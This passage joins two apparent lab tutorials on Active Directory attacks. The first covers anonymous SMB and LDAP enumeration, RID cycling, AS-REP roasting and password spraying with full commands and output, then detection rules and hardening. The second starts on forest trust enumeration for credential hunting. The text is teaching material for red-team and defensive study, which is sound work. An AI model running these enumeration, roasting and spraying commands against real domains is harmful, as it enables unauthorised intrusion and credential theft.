netname: NETLOGON
        remark: Logon server share
netname: SYSVOL
        remark: Logon server share

Doing this by hand teaches the protocol; doing it at scale calls for automation. enum4linux-ng orchestrates every one of these RPC calls and parses the output.

enum4linux-ng -A 10.10.10.10
 ====================================
|    Domain Information via RPC      |
 ====================================
[+] Domain: LAB
[+] SID: S-1-5-21-1004336348-1177238915-682003330
[+] Host is part of a domain (not a workgroup)

 ====================================
|       Users via RPC on 10.10.10.10 |
 ====================================
[+] Found 12 user(s) via 'enumdomusers'
'1103': {'username': 'jsmith',     'description': ''}
'1106': {'username': 'svc_sql',    'description': 'SQL service acct - temp pw Summer2024! rotate by Q3'}
'1107': {'username': 'svc_backup', 'description': 'backup runner'}
...
 ====================================
|   Password Policy via RPC          |
 ====================================
[+] Minimum password length: 7
[+] Password complexity: Enabled
[+] Lockout threshold: 5
[+] Lockout duration: 30 minutes

There it is: svc_sql with temp pw Summer2024! sitting in its description, plus the lockout threshold (5) that bounds any spray. NetExec covers the same ground with module flags, which is handy for piping into other tooling:

nxc smb 10.10.10.10 -u '' -p '' --users
SMB  10.10.10.10  445  DC01  [+] lab.local\: (Guest)
SMB  10.10.10.10  445  DC01  -Username-      -Last PW Set-      -BadPW- -Description-
SMB  10.10.10.10  445  DC01  Administrator   2024-01-12 09:14   0       Built-in admin
SMB  10.10.10.10  445  DC01  krbtgt          2024-01-10 22:01   0       Key Distribution Center
SMB  10.10.10.10  445  DC01  jsmith          2024-02-03 11:42   0
SMB  10.10.10.10  445  DC01  svc_sql         2024-02-03 11:45   0       SQL service acct - temp pw Summer2024! rotate by Q3
SMB  10.10.10.10  445  DC01  [*] Enumerated 12 domain users
nxc smb 10.10.10.10 -u '' -p '' --pass-pol
SMB  10.10.10.10  445  DC01  [+] Dumping password info for domain: LAB
SMB  10.10.10.10  445  DC01  Minimum password length: 7
SMB  10.10.10.10  445  DC01  Password history length: 24
SMB  10.10.10.10  445  DC01  Account Lockout Threshold: 5
SMB  10.10.10.10  445  DC01  Account Lockout Duration: 30 minutes

6. LDAP Anonymous Bind Internals

SMB’s SAMR path is one route to the same data; LDAP is the other, and it is richer. Active Directory is an LDAP directory. Every user, group, computer, and policy object lives in the directory tree, and LDAP queries read those objects directly.

An LDAP conversation begins with a BINDRequest. For an anonymous bind, the request carries an empty name (no DN) and authentication: simple with a zero-length password. The server replies with a BindResponse; resultCode 0 means it accepted you as an anonymous principal. After that comes the SearchRequest, which specifies a base DN, a scope (base, one, or sub), a filter like (objectClass=user), and the attributes to return.

LDAP exposes more than SAMR because it surfaces every attribute on the object, not just the SAM view. Two attributes deserve special attention:

AttributeWhy It Matters
userAccountControlBitmask describing account state
msDS-SupportedEncryptionTypes0 implies RC4-only, an AS-REP roast candidate

The userAccountControl (UAC) bitmask is the attacker’s filter for finding weak accounts:

FlagHexMeaning
ADS_UF_ACCOUNTDISABLE0x2Account disabled (skip it)
ADS_UF_LOCKOUT0x10Currently locked out
ADS_UF_NORMAL_ACCOUNT0x200Standard user
ADS_UF_DONT_REQ_PREAUTH0x400000No Kerberos pre-auth, AS-REP roastable
ADS_UF_PASSWORD_EXPIRED0x800000Password expired

The presence of anonymous LDAP at all is gated by dsHeuristics. When character 7 of that attribute is 2, the directory permits anonymous binds with read access. Default since Server 2003 is to deny it. We flipped it on in the lab; in the wild you find it flipped on because an application demanded it years ago.


7. Hands-On: LDAP Anonymous Bind Enumeration

Confirm anonymous binds return real objects, not just rootDSE. Search the domain naming context for any object and ask only for the DN.

ldapsearch -x -H ldap://10.10.10.10 -b "DC=lab,DC=local" "(objectClass=*)" dn | head -n 20
dn: DC=lab,DC=local
dn: CN=Users,DC=lab,DC=local
dn: CN=Administrator,CN=Users,DC=lab,DC=local
dn: CN=Guest,CN=Users,DC=lab,DC=local
dn: CN=krbtgt,CN=Users,DC=lab,DC=local
dn: OU=ServiceAccounts,DC=lab,DC=local
dn: CN=svc_sql,OU=ServiceAccounts,DC=lab,DC=local

Objects came back without credentials, so this is a genuine anonymous-read misconfiguration. Now pull users with the attributes that matter. Note the description field again.

ldapsearch -x -H ldap://10.10.10.10 -b "DC=lab,DC=local" \
  "(objectClass=user)" sAMAccountName userPrincipalName description userAccountControl memberOf
dn: CN=svc_sql,OU=ServiceAccounts,DC=lab,DC=local
sAMAccountName: svc_sql
userPrincipalName: svc_sql@lab.local
description: SQL service acct - temp pw Summer2024! rotate by Q3
userAccountControl: 66048
memberOf: CN=Service Accounts,DC=lab,DC=local

dn: CN=jsmith,CN=Users,DC=lab,DC=local
sAMAccountName: jsmith
userPrincipalName: jsmith@lab.local
userAccountControl: 66048

dn: CN=helpdesk,CN=Users,DC=lab,DC=local
sAMAccountName: helpdesk
userPrincipalName: helpdesk@lab.local
userAccountControl: 4260352

Decode the UAC values. 66048 = 0x10200 = NORMAL_ACCOUNT | DONT_EXPIRE_PASSWORD. The helpdesk account at 4260352 = 0x410200 includes 0x400000 (DONT_REQ_PREAUTH), which marks it AS-REP roastable. You found a Kerberos-roastable account with no credentials at all. Enumerate groups to map privilege:

ldapsearch -x -H ldap://10.10.10.10 -b "DC=lab,DC=local" \
  "(objectClass=group)" cn member
dn: CN=Domain Admins,CN=Users,DC=lab,DC=local
cn: Domain Admins
member: CN=Administrator,CN=Users,DC=lab,DC=local
member: CN=asmith,CN=Users,DC=lab,DC=local

dn: CN=Service Accounts,DC=lab,DC=local
cn: Service Accounts
member: CN=svc_sql,OU=ServiceAccounts,DC=lab,DC=local
member: CN=svc_backup,OU=ServiceAccounts,DC=lab,DC=local

asmith is a Domain Admin. That is a target. Enumerate computers for the lateral-movement map:

ldapsearch -x -H ldap://10.10.10.10 -b "DC=lab,DC=local" \
  "(objectClass=computer)" dNSHostName operatingSystem
dn: CN=DC01,OU=Domain Controllers,DC=lab,DC=local
dNSHostName: DC01.lab.local
operatingSystem: Windows Server 2022 Standard

dn: CN=SQL01,CN=Computers,DC=lab,DC=local
dNSHostName: SQL01.lab.local
operatingSystem: Windows Server 2019 Standard

windapsearch (use the Go build) wraps these searches into named modules:

windapsearch -d lab.local --dc 10.10.10.10 -m users --full
[+] No username provided. Will try anonymous bind.
[+] Using Domain Controller at: 10.10.10.10
[+] Getting defaultNamingContext from Root DSE
[+]     Found: DC=lab,DC=local
[+] Anonymous bind successful
[+] Enumerating all AD users
[+] Found 12 users:

cn: svc_sql
sAMAccountName: svc_sql
description: SQL service acct - temp pw Summer2024! rotate by Q3
...
[+] Found 12 users

For programmatic work, ldap3 in Python gives you the same anonymous bind in a few lines, which you can extend into a custom collector.

from ldap3 import Server, Connection, ALL, SUBTREE

srv = Server('10.10.10.10', port=389, get_info=ALL)
conn = Connection(srv, auto_bind=True)   # empty creds => anonymous bind
conn.search('DC=lab,DC=local',
            '(objectClass=user)',
            search_scope=SUBTREE,
            attributes=['sAMAccountName', 'description', 'memberOf'])
for entry in conn.entries:
    print(entry.sAMAccountName, '|', entry.description)
Administrator | Built-in admin
krbtgt | Key Distribution Center Service Account
jsmith |
svc_sql | SQL service acct - temp pw Summer2024! rotate by Q3
svc_backup | backup runner
helpdesk |

NetExec’s LDAP module is the quick path, and --password-not-required plus its roast flags surface weak accounts directly:

nxc ldap 10.10.10.10 -u '' -p '' --users
LDAP  10.10.10.10  389  DC01  [+] lab.local\: (anonymous bind)
LDAP  10.10.10.10  389  DC01  [*] Total records returned: 12
LDAP  10.10.10.10  389  DC01  svc_sql        SQL service acct - temp pw Summer2024! rotate by Q3
LDAP  10.10.10.10  389  DC01  helpdesk

8. RID Cycling Internals

What if enumdomusers is blocked but SID/Name translation is still allowed? That is the common half-hardened state, and it is exactly where RID cycling shines.

Every security principal in a domain has a SID of the form:

S-1-5-21-<sub1>-<sub2>-<sub3>-<RID>

The S-1-5-21-1004336348-1177238915-682003330 portion is the domain SID, identical for every account in the domain. The final number, the RID (Relative Identifier), uniquely identifies the principal within that domain. Built-in principals have fixed, well-known RIDs:

RIDPrincipal
500Administrator
501Guest
502krbtgt
512Domain Admins (group)
513Domain Users (group)
514Domain Guests (group)
515Domain Computers (group)
516Domain Controllers (group)

User and group accounts created after install begin at RID 1000 and increment. So the attack is mechanical: take the known domain SID, append RID 500, 501, 502, … up through some ceiling like 2000, and ask the DC to translate each full SID back into a name. The DC answers through LsarLookupSids (MS-LSAD) or SamrLookupIdsInDomain (MS-SAMR).

Why does this bypass RestrictAnonymous=1? Because the SID/Name translation interface is governed by the separate “Allow anonymous SID/Name translation” policy. Block bulk enumeration all you want; if translation stays open, an attacker rebuilds the entire roster one RID at a time. That separation is the crux of why RID cycling is so resilient.


Flow diagram showing the RID cycling process: the known domain SID has incrementing RID values appended, each sent as a LsarLookupSids request to the DC, which returns either a username or unknown
RID cycling reconstructs the full account roster one SID-to-name translation at a time, bypassing bulk enumeration restrictions.

9. Hands-On: RID Cycling

You already have the domain SID from lsaquery. Confirm it once more non-interactively:

rpcclient -N -U "" 10.10.10.10 -c "lsaquery"
Domain Name: LAB
Domain Sid: S-1-5-21-1004336348-1177238915-682003330

Now cycle RIDs by hand. The loop appends each RID to the domain SID and calls lookupsids, filtering out the misses.

for rid in $(seq 500 1200); do
  rpcclient -N -U "" 10.10.10.10 \
    -c "lookupsids S-1-5-21-1004336348-1177238915-682003330-${rid}" \
    2>/dev/null | grep -v "unknown"
done
S-1-5-21-1004336348-1177238915-682003330-500 LAB\Administrator (1)
S-1-5-21-1004336348-1177238915-682003330-501 LAB\Guest (1)
S-1-5-21-1004336348-1177238915-682003330-502 LAB\krbtgt (1)
S-1-5-21-1004336348-1177238915-682003330-512 LAB\Domain Admins (2)
S-1-5-21-1004336348-1177238915-682003330-513 LAB\Domain Users (2)
S-1-5-21-1004336348-1177238915-682003330-1103 LAB\jsmith (1)
S-1-5-21-1004336348-1177238915-682003330-1104 LAB\asmith (1)
S-1-5-21-1004336348-1177238915-682003330-1106 LAB\svc_sql (1)
S-1-5-21-1004336348-1177238915-682003330-1108 LAB\SQL01$ (1)

The trailing (1) denotes SidTypeUser, (2) denotes SidTypeGroup. Machine accounts (SQL01$) show up as users too, so you filter the $ later. Impacket’s lookupsid.py automates the whole cycle, taking a max-RID argument:

lookupsid.py 'lab.local/'@10.10.10.10 1200 -no-pass | tee lookupsid_raw.txt
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Brute forcing SIDs at 10.10.10.10
[*] StringBinding ncacn_np:10.10.10.10[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-1004336348-1177238915-682003330
500: LAB\Administrator (SidTypeUser)
501: LAB\Guest (SidTypeUser)
502: LAB\krbtgt (SidTypeUser)
512: LAB\Domain Admins (SidTypeGroup)
1103: LAB\jsmith (SidTypeUser)
1104: LAB\asmith (SidTypeUser)
1106: LAB\svc_sql (SidTypeUser)
1107: LAB\svc_backup (SidTypeUser)
1108: LAB\SQL01$ (SidTypeUser)
1110: LAB\helpdesk (SidTypeUser)

Turn raw output into a clean username wordlist. Keep only SidTypeUser, drop machine accounts ending in $, and isolate the sAMAccountName.

grep SidTypeUser lookupsid_raw.txt | grep -v '\$' \
  | awk -F'\\\\' '{print $2}' | awk '{print $1}' > users.txt
cat users.txt
Administrator
Guest
krbtgt
jsmith
asmith
svc_sql
svc_backup
helpdesk
mjohnson
rpatel
lchen

NetExec performs the same cycle with one flag (note it often wants the anonymous username string rather than empty):

nxc smb 10.10.10.10 -u 'anonymous' -p '' --rid-brute 2000
SMB  10.10.10.10  445  DC01  [+] lab.local\anonymous:
SMB  10.10.10.10  445  DC01  498: LAB\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB  10.10.10.10  445  DC01  500: LAB\Administrator (SidTypeUser)
SMB  10.10.10.10  445  DC01  1103: LAB\jsmith (SidTypeUser)
SMB  10.10.10.10  445  DC01  1106: LAB\svc_sql (SidTypeUser)
SMB  10.10.10.10  445  DC01  1110: LAB\helpdesk (SidTypeUser)

And enum4linux-ng exposes a dedicated RID range mode:

enum4linux-ng -R 500-2000 10.10.10.10
 ====================================
|     RID Cycling on 10.10.10.10     |
 ====================================
[*] Trying SID S-1-5-21-1004336348-1177238915-682003330
[+] 500: LAB\Administrator (SidTypeUser)
[+] 1103: LAB\jsmith (SidTypeUser)
[+] 1106: LAB\svc_sql (SidTypeUser)
[+] 1110: LAB\helpdesk (SidTypeUser)
[+] Found 11 user accounts via RID cycling

A gotcha that cost me an afternoon early on: if you cycle RIDs but get nothing back while enumdomusers was already blocked, check the “Allow anonymous SID/Name translation” policy. With it disabled, lookupsids returns *unknown* for every RID and you wrongly conclude the host is hardened, when really the other path is just closed.


10. Attack Chain: From Zero Credentials to a Target User List

The three primitives are not independent tricks; they reinforce each other. The chain runs like this:

  1. SMB null session confirms access and yields the domain SID via lsaquery.
  2. LDAP anonymous bind enriches the picture with group membership, UAC flags, and description fields (where svc_sql‘s password lives).
  3. RID cycling rebuilds the complete validated username list even if direct enumeration is partially blocked.

The users.txt you produced is the input to the first zero-credential offensive move: AS-REP roasting. Accounts with DONT_REQ_PREAUTH set (you spotted helpdesk earlier) will hand you an encrypted AS-REP blob crackable offline, no password required.

GetNPUsers.py lab.local/ -no-pass -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jsmith doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$helpdesk@LAB.LOCAL:9f86d081884c7d659a2feaa0c55ad015$a3f1e0...c2b7d4e8f
[-] User svc_sql doesn't have UF_DONT_REQUIRE_PREAUTH set

That $krb5asrep$23$... hash feeds straight into hashcat -m 18200. Separately, the validated list plus the known policy (lockout 5, complexity on) lets you run a careful spray with the description-leaked candidate:

nxc smb 10.10.10.10 -u users.txt -p 'Summer2024!' --continue-on-success
SMB  10.10.10.10  445  DC01  [-] lab.local\Administrator:Summer2024! STATUS_LOGON_FAILURE
SMB  10.10.10.10  445  DC01  [-] lab.local\jsmith:Summer2024! STATUS_LOGON_FAILURE
SMB  10.10.10.10  445  DC01  [+] lab.local\svc_sql:Summer2024!

You started with no credentials. You now hold svc_sql, sourced directly from a description field that anonymous LDAP leaked. That is the pivot into the authenticated phase of the engagement.


Attack chain flowchart progressing from zero credentials through SMB null session, LDAP anonymous bind, and RID cycling, then forking into AS-REP roasting and password spraying to yield valid domain credentials
The three enumeration primitives chain together to turn a bare network connection into valid credentials before a single password is guessed.

11. Common Attacker Techniques

TechniqueDescription
SMB null sessionAnonymous IPC$ connect to reach SAMR/LSARPC/SRVSVC pipes
SAMR enumerationenumdomusers/enumdomgroups to pull the roster directly
LSARPC policy querylsaquery to recover the domain SID
LDAP anonymous bindRead users, groups, computers, UAC flags, descriptions
Description-field miningHarvest plaintext passwords admins leave in description
RID cyclingSID/Name translation across a RID range to rebuild the user list
List weaponizationFeed usernames into AS-REP roasting and password spraying

12. Defensive Strategies & Detection

Every step above leaves tracks if auditing is on. The signature event is the ANONYMOUS LOGON (SID S-1-5-7) network logon, often immediately followed by IPC$ share access and a burst of SID/Name translations.

Event IDSourceWhat to Watch For
4624SecurityLogon Type 3 where Account Name is ANONYMOUS LOGON
4625SecuritySame anonymous pattern on blocked attempts
5140SecurityShare access to \\*\IPC$ from an anonymous source
4798SecurityA user’s local group membership enumerated
4799SecuritySecurity-enabled local group membership enumerated
4688 / Sysmon 1Security / Sysmonrpcclient, enum4linux, ldapsearch, lookupsid.py, nxc in the command line (on attacker-side or jump hosts you control)

RID cycling has a loud tell: a rapid run of 4624/5140 from one source plus high-volume SID lookups. On the DC’s directory service side, two events matter. Event 2889 (in the Directory Service log) records LDAP binds performed without signing, which flags both anonymous and cleartext binds. Event 1644 logs expensive or inefficient LDAP queries once you raise diagnostics:

HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics\15 Field Engineering = 5

Relevant ETW providers:

ProviderSurfaces
Microsoft-Windows-Security-AuditingAll Security event IDs above
Microsoft-Windows-SMBServerNamed-pipe and share access correlating IPC$
Microsoft-Windows-ActiveDirectory_DomainServiceLDAP bind/query volume, base DN, filters, attributes (Events 2889, 1644)

A correlation rule that fires on the anonymous-logon-then-IPC$ sequence catches the entry point cleanly:

title: SMB Anonymous Logon to IPC$ (Null Session Enumeration)
status: experimental
logsource:
    product: windows
    service: security
detection:
    selection_logon:
        EventID: 4624
        LogonType: 3
        SubjectUserName: 'ANONYMOUS LOGON'
    selection_share:
        EventID: 5140
        ShareName: '\\*\IPC$'
        SubjectUserName: 'ANONYMOUS LOGON'
    timeframe: 1m
    condition: selection_logon and selection_share
falsepositives:
    - Legacy applications requiring anonymous access
level: high
tags:
    - attack.discovery
    - attack.t1087.002
    - attack.t1069.002
    - attack.t1135

None of this fires without the right audit policy. Enable, via Computer Config > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration:

  • Logon/Logoff: Audit Logon – Success and Failure (4624/4625)
  • Object Access: Audit File Share – Success and Failure (5140)
  • Account Management: Audit Security Group Management – Success (4798/4799)
  • DS Access: Audit Directory Service Access – Success (LDAP query visibility)

13. Hardening and Defense

The fix is straightforward once you accept it may break a legacy dependency. Reverse the lab changes and lock the directory down.

# Close anonymous SMB/SAM enumeration
$lsa = 'HKLM:\SYSTEM\CurrentControlSet\Control\Lsa'
Set-ItemProperty -Path $lsa -Name RestrictAnonymous       -Value 1 -Type DWord
Set-ItemProperty -Path $lsa -Name RestrictAnonymousSAM    -Value 1 -Type DWord
Set-ItemProperty -Path $lsa -Name EveryoneIncludesAnonymous -Value 0 -Type DWord

# Enforce LDAP signing and channel binding
$ntds = 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters'
Set-ItemProperty -Path $ntds -Name 'LDAPServerIntegrity'        -Value 2 -Type DWord
Set-ItemProperty -Path $ntds -Name 'LdapEnforceChannelBinding'  -Value 2 -Type DWord

Apply the matching Group Policy under Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options:

MitigationSetting
Restrict anonymous to named pipes/sharesEnabled
Do not allow anonymous enumeration of SAM accountsEnabled
Do not allow anonymous enumeration of SAM accounts and sharesEnabled
Allow anonymous SID/Name translationDisabled (kills RID cycling)
LDAP server signing requirementsRequire signing

Then close the LDAP anonymous bind by resetting dsHeuristics so character 7 is not 2 (clear it or set it to 0), remove ANONYMOUS LOGON from the legacy compatibility group, and enforce encrypted LDAPS:

net localgroup "Pre-Windows 2000 Compatible Access"
Members
-------------------------------------------------------------------------------
NT AUTHORITY\Authenticated Users
The command completed successfully.

If ANONYMOUS LOGON appears in that list, remove it. Finally, segment the network: block 139, 445, 389, and 636 at the perimeter and restrict DC reachability to subnets that legitimately need it. Server 2016 and later disable null sessions by default, so the lasting risk is migration drift and vendor exceptions. Audit those exceptions on a schedule, not once.


Illustration of a sealed iron gate blocking a server corridor with broken intrusion tools discarded in front, symbolizing hardened anonymous-access controls
Disabling anonymous SID translation, enforcing LDAP signing, and setting RestrictAnonymous closes every path this tutorial exploited.

14. Tools for Anonymous Enumeration Analysis

ToolDescriptionLink
rpcclientManual SAMR/LSARPC/SRVSVC calls over null sessionsamba.org
smbclientList shares and connect over SMBsamba.org
enum4linux-ngAutomated null-session and RID-cycle enumerationgithub.com/cddmp/enum4linux-ng
NetExec (nxc)SMB/LDAP modules, --users, --rid-brute, --pass-polnetexec.wiki
ldapsearchAnonymous LDAP bind and searchopenldap.org
windapsearchModule-driven LDAP enumerationgithub.com/ropnop/windapsearch
Impacket lookupsid.pyAutomated RID cycling via LSARPCgithub.com/fortra/impacket
ldap3 (Python)Programmatic anonymous binds and custom collectorspypi.org
WiresharkInspect SMB negotiate, BINDRequest, RPC pipe trafficwireshark.org

15. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Account Discovery: Domain AccountT1087.0024624 anonymous + SAMR/LDAP query bursts; Sysmon 1 on enum tooling
Permission Groups Discovery: Domain GroupsT1069.0024799 group enumeration; LDAP (objectClass=group) queries via 1644
Network Share DiscoveryT11355140 IPC$ access; netshareenum over srvsvc
Gather Victim Network Information: Domain PropertiesT1590.001lsaquery/rootDSE reads; 2889 unsigned binds
Gather Victim Identity Information: CredentialsT1589.001LDAP reads of description attribute (Event 1644)

Primary tactic: TA0007 (Discovery). For pre-compromise external probing of exposed LDAP/SMB: TA0043 (Reconnaissance).


Summary

  • Anonymous SMB and LDAP turn zero credentials into a full domain map: users, groups, policy, shares, and the domain SID. The primitives are legacy compatibility features that survive in upgraded and misconfigured domains.
  • The chain compounds: null session yields the domain SID via lsaquery, LDAP anonymous bind leaks UAC flags and description-field passwords, and RID cycling rebuilds the user list even when direct enumeration is blocked.
  • RID cycling is the resilient link because SID/Name translation is governed separately from RestrictAnonymous; leave “Allow anonymous SID/Name translation” enabled and the roster leaks one RID at a time.
  • The output is a weaponized username list feeding AS-REP roasting (GetNPUsers.py) and policy-aware password spraying, the pivot into the authenticated phase.
  • Detect via Event 4624 (ANONYMOUS LOGON, Type 3) correlated with 5140 IPC$ access, plus Directory Service Events 2889 and 1644; eliminate via RestrictAnonymous=1/RestrictAnonymousSAM=1, disabled anonymous SID translation, LDAP signing and channel binding, and a dsHeuristics that does not enable anonymous bind.

Related Tutorials

References

Trust, Share, and File Hunting: Mapping the Forest and Finding Credentials in Data

Objective: Learn to enumerate Active Directory trust relationships across domains and forests, discover and access SMB shares at scale, and harvest credentials and sensitive data from files left lying on those shares – then see exactly how a defender catches every step. Everything here runs against a self-built lab forest.


Most red-team reports I have written that ended in Domain Admin did not start with a flashy zero-day. They started with a low-privileged user account, a map of the forest, and a file share that somebody forgot to lock down ten years ago. Trust enumeration tells you where you can go. Share enumeration tells you what is reachable. File hunting tells you what is sitting there in cleartext. Chain those three and you frequently skip half the kill chain.

This guide is enumeration-first throughout. For every technique I show the recon that surfaces the opportunity before I touch the exploitation, because the finding is what teaches you, not the syntax.


1. Forest Architecture Primer

A forest is the top-level security boundary in Active Directory. Inside it live one or more domains arranged into trees that share a schema, a configuration partition, and a global catalog. A trust is a relationship that lets principals in one domain authenticate against resources in another. Trusts are why a compromise of a low-value child domain so often turns into a compromise of the entire forest.

When a user in child.corp.local requests a service in corp.local, Kerberos does not magically know about the foreign account. The child DC issues an inter-realm TGT (referral ticket) encrypted with the shared trust key that both domains negotiated when the trust was created. The user presents that referral to the target domain’s KDC, which trusts it because it can decrypt it. The PAC (Privilege Attribute Certificate) inside the ticket carries the user’s SIDs, and this is precisely where SID filtering and SID-History injection become relevant.

Trust Types

Trust TypeDescription
Parent-ChildAutomatic, transitive trust created between a parent domain and its child in the same tree (corp.local and child.corp.local).
Tree-RootAutomatic, transitive trust between forest root and the root of a new tree in the same forest.
Cross-Link (Shortcut)Manually created transitive trust to shorten the referral path between two child domains.
ExternalNon-transitive trust to a domain in a different forest or an NT4 domain. SID filtering is on by default.
ForestTransitive trust between two forest roots; extends trust to all domains in both forests.
RealmTrust to a non-Windows Kerberos realm (MIT/Heimdal).

Trust Direction and Transitivity

Direction decides who can reach whom. A one-way outbound trust from A to B means B’s users can access A’s resources, not the other way around. A bidirectional trust works both ways. The LDAP trustDirection attribute on a trustedDomain object encodes this:

trustDirection ValueMeaning
1Inbound (trusted domain trusts this one)
2Outbound (this domain trusts the partner)
3Bidirectional

Transitivity means trust flows through. If A trusts B and B trusts C transitively, A effectively trusts C. Intra-forest trusts are always transitive. External trusts are not, which is exactly why attackers prefer to find a forest trust.

SID Filtering and Why It Matters

When a referral ticket crosses a trust, its PAC contains the user’s SID plus any SIDs in the SIDHistory attribute. SID filtering is the guardrail: the trusting domain strips foreign SIDs that do not belong to the trusted domain, including anything injected into SID history. If SID filtering is disabled or never enforced (common on older external trusts and on intra-forest trusts, where it is off by design), an attacker who controls the trusted domain can stuff a privileged SID such as the Enterprise Admins RID into the PAC and walk across the boundary. That downstream attack is SID-History Injection (T1134.005). Our job in enumeration is to find which trusts leave that door open.

The Get-ADTrust cmdlet surfaces this directly through SIDFilteringQuarantined and SIDFilteringForestAware. When SIDFilteringQuarantined is False on an external trust, the quarantine is off and the trust is abusable.


2. Building the Lab

Stand up a small two-domain forest plus an optional second forest in your hypervisor of choice. Windows Server Evaluation media works fine for the DCs.

VMRoleIP
DC01.corp.localForest root DC (Server 2022)192.168.10.10
FS01.corp.localFile server (Server 2019)192.168.10.20
WS01.corp.localWindows 11 workstation (foothold)192.168.10.50
DC02.child.corp.localChild domain DC (Server 2022)192.168.20.10
DC.partner.localSecond forest root (Server 2022)192.168.30.10
Kali LinuxAttacker box192.168.10.100

Intentional misconfigurations to seed:

  • \\FS01\IT_Scripts with NTFS ACL Authenticated Users: Read. Drop a deploy.ps1 containing $cred = "Summer2024!".
  • \\FS01\Backups with Everyone: Read. Drop a web.config containing <add key="DBPassword" value="Summer2024!"/> and an unattend.xml with <AutoLogon><Password><Value>LabPass1</Value></Password></AutoLogon>.
  • On DC01, create a GPO that uses Group Policy Preferences to set a local Administrator password. This writes a Groups.xml with a cpassword to SYSVOL. Make that password match the local Administrator on FS01.
  • On DC02, leave \\DC02\NETLOGON\setup_notes.txt containing svc_sql / P@ssw0rd123.
  • Configure a forest trust between corp.local and partner.local with SID filtering disabled.

Your foothold is the domain user corp\jdoe (password Password1), the kind of account you get from a phishing payload or a captured credential.


3. Trust Enumeration: APIs, LDAP, and Native Tools

Before touching shares, map the terrain. Every trust you find is a potential lateral or escalation path, and the cheapest way to enumerate trusts is with tools already on the host.

Under the hood, most trust enumerators call the Win32 API DSEnumerateDomainTrusts() from Netapi32.dll. It returns a NETLOGON_TRUSTED_DOMAIN_ARRAY, which is a count plus a pointer to an array of DS_DOMAIN_TRUSTS structures. Each entry describes one trust.

// Illustrative shapes - verify field names against current Microsoft Learn docs.
typedef struct _DS_DOMAIN_TRUSTS {
    LPTSTR NetbiosDomainName;   // e.g. "CHILD"
    LPTSTR DnsDomainName;       // e.g. "child.corp.local"
    ULONG  Flags;               // DS_DOMAIN_IN_FOREST, DS_DOMAIN_DIRECT_OUTBOUND, ...
    ULONG  ParentIndex;
    ULONG  TrustType;
    ULONG  TrustAttributes;     // bitfield: forest, quarantine/SID-filter, etc.
    PSID   DomainSid;           // the trusted domain SID
    GUID   DomainGuid;
} DS_DOMAIN_TRUSTS, *PDS_DOMAIN_TRUSTS;

typedef struct _NETLOGON_TRUSTED_DOMAIN_ARRAY {
    DWORD DomainCount;
    PDS_DOMAIN_TRUSTS Domains;
} NETLOGON_TRUSTED_DOMAIN_ARRAY;

The Flags field tells you direction (DS_DOMAIN_DIRECT_OUTBOUND, DS_DOMAIN_DIRECT_INBOUND) and whether the domain sits inside the forest (DS_DOMAIN_IN_FOREST). DomainSid is the gold: that SID is what you need for any SID-history work later.

Native enumeration with nltest

nltest.exe ships on every Windows host and wraps the same API. It is also a known adversary tool, so expect it to be watched.

C:\> nltest /domain_trusts /all_trusts
List of domain trusts:
    0: CORP corp.local (NT 5) (Forest Tree Root) (Primary Domain) (Native)
    1: CHILD child.corp.local (NT 5) (Direct Outbound) (Direct Inbound) (Attr: within_forest)
    2: PARTNER partner.local (NT 5) (Direct Outbound) (Direct Inbound) (Forest: 1)
The command completed successfully

Three trusts. CHILD is intra-forest (note within_forest). PARTNER is a forest trust (Forest: 1) to a different forest, which is the high-value path because forest trusts are transitive.

Identify a DC in each domain so you know where to aim queries and tickets:

C:\> nltest /dclist:child.corp.local
Get list of DCs in domain 'child.corp.local' from '\\DC02.child.corp.local'.
    DC02.child.corp.local [PDC] [DS] Site: Default-First-Site-Name
The command completed successfully

netdom and Get-ADTrust

netdom query trust gives a cleaner direction column:

C:\> netdom query trust /Domain:corp.local
Direction  Trusted\Trusting domain          Trust type
=========  =======================          ==========
<->        child.corp.local                 Direct
<->        partner.local                    Forest
The command completed successfully.

Get-ADTrust (RSAT ActiveDirectory module) reads the trustedDomain object class via LDAP and is the single best tool for spotting SID-filtering state:

Get-ADTrust -Filter * | Select Source,Target,Direction,TrustType,ForestTransitive,SIDFilteringQuarantined,SIDFilteringForestAware
Source            : DC=corp,DC=local
Target            : child.corp.local
Direction         : BiDirectional
TrustType         : Uplevel
ForestTransitive  : False
SIDFilteringQuarantined : False
SIDFilteringForestAware : False

Source            : DC=corp,DC=local
Target            : partner.local
Direction         : BiDirectional
TrustType         : Uplevel
ForestTransitive  : True
SIDFilteringQuarantined : False
SIDFilteringForestAware : False

That partner.local row is the prize. A bidirectional, forest-transitive trust with SIDFilteringQuarantined : False means foreign SIDs are not being stripped. If you can get control inside one forest, SID-history injection across this trust is on the table.

Reading trustedDomain objects directly over LDAP

When you have no RSAT and only network access from Kali, query the raw trustedDomain objects under CN=System:

ldapsearch -x -H ldap://192.168.10.10 -D 'jdoe@corp.local' -w 'Password1' \
  -b "CN=System,DC=corp,DC=local" "(objectClass=trustedDomain)" \
  trustPartner trustDirection trustType trustAttributes securityIdentifier
# child.corp.local, System, corp.local
dn: CN=child.corp.local,CN=System,DC=corp,DC=local
trustPartner: child.corp.local
trustDirection: 3
trustType: 2
trustAttributes: 32
securityIdentifier:: AQQAAAAAAAUVAAAAr8Y0u0Yp8h0wPq1y

# partner.local, System, corp.local
dn: CN=partner.local,CN=System,DC=corp,DC=local
trustPartner: partner.local
trustDirection: 3
trustType: 2
trustAttributes: 8
securityIdentifier:: AQQAAAAAAAUVAAAAQUFBQkJCQkNDQ0NE

